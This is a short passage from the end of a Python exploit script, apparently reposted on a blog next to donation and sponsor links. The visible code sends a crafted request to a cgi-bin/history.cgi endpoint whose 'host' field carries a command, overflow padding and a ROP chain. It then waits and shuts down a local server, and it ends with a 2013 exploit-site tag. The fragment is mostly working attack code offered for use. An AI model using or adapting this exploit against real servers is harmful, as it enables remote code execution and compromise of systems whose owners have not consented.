'host' : cmd + "A"*(target['smash_len']-len(cmd)) + "".join(rop)
})
 
print "[>>] CL1Q .."
f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s" % params)
 
print "[>>] CL4Q .."
f.read()
 
# TRIAL PERIOD ACTIVE, LOL!
time.sleep(0x666)
 
server.shutdown()
 
# 04B89D3516E6AE79   1337day.com [2013-01-13]   8122C9283F44386F #
 


If you like my blog, Please Donate Me
Or Click The Banner For Support Me.
 

Sponsors

lusovps.com

Blogroll

About

 Please subscribe my blog.

 Old Subscribe

Share |